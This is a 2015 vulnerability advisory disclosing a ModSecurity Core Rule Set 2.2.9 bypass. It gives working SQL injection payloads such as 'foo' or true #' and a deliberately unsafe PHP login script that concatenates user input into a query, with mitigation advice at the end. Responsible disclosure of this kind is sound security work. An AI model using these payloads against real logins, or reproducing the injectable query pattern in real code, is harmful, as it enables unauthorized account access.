- Vulnerability: Bypass mod_security to perform SQL injection (login bypass)
- Affected Software: OWASP ModSecurity Core Rule Set
- Affected Version: 2.2.9 (probably also prior versions)
- Patched Version: 3.0.0
- Risk: Low
- Vendor Contacted: 2014-12-07 via mail, 2015-02-18 via github
- Vendor Fix: 2014-12-09 (in dev tree, independent of report)
- Public Disclosure: 2015-02-18 on github
Mod_Security & Core Rule Set
mod_security is an Intrusion Detection System / Web Application Firewall for Apache, IIS, and nginx developed by SpiderLabs. As a filter list it uses the OWASP ModSecurity Core Rule Set.
Injection Payload
Using the Core ModSecurity Rule Set ver.2.2.9 with default configuration, SecRuleEngine On, and all base_rules enabled, it is possible to inject the following payload, which can be used to bypass filters in SQL queries:
foo' or true #
foo' or false #
POC: Bypassing Login protected with Mod_Security
Considering a simple, unsecured login script:
<html>
<body>
<?php
if(!isset($_POST['login'])) {
?>
<form action="" method="post">
Username: <input type="text" name="username"/><br />
Password: <input type="password" name="password"/><br />
<input type="submit" name="login" value="Login"/>
</form>
<?php
return;
}
$username = $_POST['username'];
$password = $_POST['password'];
$con = mysqli_connect('localhost','root','password','database');
$result = mysqli_query($con, "SELECT * FROM users WHERE
username='$username' AND password='$password'");
if(mysqli_num_rows($result) == 0) {
echo '<h1>Invalid</h1>';
} else {
$user = $result->fetch_assoc();
echo '<h1>Logged in: ' . $user['username'] . '</h1>';
}
?>
</body>
</html>
It is possible to log in as the first user in the database – often the admin – via foo' or true #
as the username or password, or to log in as any desired user via a valid username and foo' or true #
as password or validUsername' or false #
as username. admin' or true #
will not work though (neither will ' #
or foo' or 123 #
).
Mitigation
See my issue report at github, this issue will be fixed in version 3.0.0.
Also, don’t have unsecured login pages (it’s 2015, so use prepared statements already).